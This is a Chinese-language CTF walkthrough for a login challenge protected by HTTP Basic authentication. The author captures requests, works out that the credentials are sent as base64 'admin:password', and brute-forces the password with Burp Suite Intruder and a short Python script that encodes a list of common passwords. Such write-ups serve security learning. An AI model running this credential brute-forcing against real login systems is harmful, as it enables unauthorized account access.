打开题目发现需要登陆,没有任何头绪,先抓个包看看。
发现了个小提示 并且现在知道用户名为admin 就差密码了
下载下来附件打开发现一堆字符串,猜想可能是其中有一个真密码
然后在验证界面随便输入发现验证一行有东西 basic(应该表示基础验证),这后面应该是输入的密码
目测应该用了什么编码
再多输入几个看看(我输入的ada:123)
这种格式很有可能是Base64
这时候面对这么多密码可能,可以用burpsute或者其他脚本
抓包时可以在action 里面找到 send to intruder就能自动补充host等信息
然后在Basic后面加payload
再添加负载内容
记得关闭,要不然会将特殊符号编码
通过python完成编码
然后步骤同上
import base64
list = ['123456','password','line','12345678','qwerty','123456789','12345','1234','111111','1234567','dragon','123123','baseball','abc123','football','monkey','letmein','696969','shadow','master','666666','qwertyuiop','123321','mustang','1234567890','michael','654321','pussy','superman','1qaz2wsx','7777777','fuckyou','121212','000000','qazwsx','123qwe','killer','trustno1','jordan','jennifer','zxcvbnm','asdfgh','hunter','buster','soccer','harley','batman','andrew','tigger','sunshine','iloveyou','fuckme','2000','charlie','robert','thomas','hockey','ranger','daniel','starwars','klaster','112233','george','asshole','computer','michelle','jessica','pepper','1111','zxcvbn','555555','11111111','131313','freedom','777777','pass','fuck','maggie','159753','aaaaaa','ginger','princess','joshua','cheese','amanda','summer','love','ashley','6969','nicole','chelsea','biteme','matthew','access','yankees','987654321','dallas','austin','thunder','taylor']
username = "admin"
for x in list :
string = str.encode(username + ":" + x,'utf8')
passwd = base64.b64encode(string)
print(passwd)